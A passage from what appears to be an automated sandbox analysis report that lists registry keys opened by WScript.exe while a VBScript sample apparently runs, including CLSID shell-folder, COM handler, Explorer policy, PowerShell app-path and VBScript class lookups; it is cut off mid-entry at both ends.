"HKLM\SOFTWARE\CLASSES\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{B0FBD52D-C4A7-4A19-985D-11309D1AC8AE}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{F8278C54-A712-415B-B593-B77A2BE0DDA9}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F8278C54-A712-415B-B593-B77A2BE0DDA9}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{F8278C54-A712-415B-B593-B77A2BE0DDA9}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{F8278C54-A712-415B-B593-B77A2BE0DDA9}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\TREATAS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\TREATAS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCHANDLER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCHANDLER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCHANDLER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCHANDLER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\LOCALSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\LOCALSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\LOCALSERVER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\LOCALSERVER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ELEVATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ELEVATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MYCOMPUTER\NAMESPACE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE\INITPROPERTYBAG"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\INSTANCE\INITPROPERTYBAG"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MYCOMPUTER\REMOVABLEDRIVES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MYCOMPUTER\REMOVABLEDRIVES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MYCOMPUTER\REMOVABLEDRIVES\DELEGATEFOLDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MYCOMPUTER\REMOVABLEDRIVES\DELEGATEFOLDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1\MYCOMPUTER\REMOVABLEDRIVES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1\MYCOMPUTER\REMOVABLEDRIVES\DELEGATEFOLDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{815EAD30-0000-0000-0000-501F00000000}\"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\DRIVE\SHELLEX\FOLDEREXTENSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\DRIVE\SHELLEX\FOLDEREXTENSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\DRIVE\SHELLEX\FOLDEREXTENSIONS\{FBEB8A05-BEEE-4442-804E-409D6C4515E9}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\DRIVE\SHELLEX\FOLDEREXTENSIONS\{FBEB8A05-BEEE-4442-804E-409D6C4515E9}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\EXPLORER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\EXPLORER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\DEVICECLASSES\{53F5630D-B6BF-11D0-94F2-00A0C91EFB8B}\PROPERTIES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\POLICIES\MICROSOFT\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\FEATUREDEVELOPMENTPROPERTIES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\OLE\FEATUREDEVELOPMENTPROPERTIES"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT\OLE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\TRACING"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\DISPLAY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IME COMPATIBILITY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\CMF\CONFIG"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLEAUT"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS SCRIPT HOST\SETTINGS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS NT\RPC"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\APPX"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPMODELUNLOCK"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\APPID\WSCRIPT.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\APPID\WSCRIPT.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\IDS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\.VBS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\.VBS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\VBSFILE\SCRIPTENGINE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\VBSFILE\SCRIPTENGINE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\VBSCRIPT"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\VBSCRIPT"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\VBSCRIPT\CLSID"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\VBSCRIPT\CLSID"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\COM3"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\TREATAS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\TREATAS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCHANDLER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCHANDLER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCHANDLER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\INPROCHANDLER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\LOCALSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\LOCALSERVER32"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: 